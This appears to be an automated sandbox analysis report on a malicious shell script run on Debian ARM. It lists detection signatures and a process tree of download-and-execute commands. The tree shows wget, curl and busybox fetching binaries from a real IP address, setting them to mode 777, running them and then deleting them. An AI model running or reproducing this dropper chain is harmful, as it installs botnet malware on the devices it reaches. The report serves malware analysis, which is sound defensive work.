Overview

overview

7

Static

static

1

c964ed0a4f...db3.sh

ubuntu-18.04-amd64

7

c964ed0a4f...db3.sh

debian-9-armhf

7

c964ed0a4f...db3.sh

debian-9-mips

7

c964ed0a4f...db3.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    123s
  • max time network
    131s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/11/2024, 01:14

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General

  • Target
    c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
  • Size 10KB
  • Sample241117-bl2pcasjgp
  • SHA256 c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
    /tmp/c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
    1⤵
      PID:658
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
          2⤵
            PID:666
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:779
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
            2⤵
              PID:782
            • /bin/chmod
              chmod 777 bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
              2⤵
              • File and Directory Permissions Modification
              PID:783
            • /tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
              ./bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
              2⤵
              • Executes dropped EXE
              PID:784
            • /bin/rm
              rm bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
              2⤵
                PID:785
              • /usr/bin/wget
                wget http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                2⤵
                  PID:786
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:789
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                  2⤵
                    PID:790
                  • /bin/chmod
                    chmod 777 HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:795
                  • /tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                    ./HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                    2⤵
                    • Executes dropped EXE
                    PID:796
                  • /bin/rm
                    rm HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
                    2⤵
                      PID:797
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
                      2⤵
                        PID:798

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
                          • Path /tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
                          • Size 153B
                          • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                          • MD5 SHA1 SHA512
                          Submit Download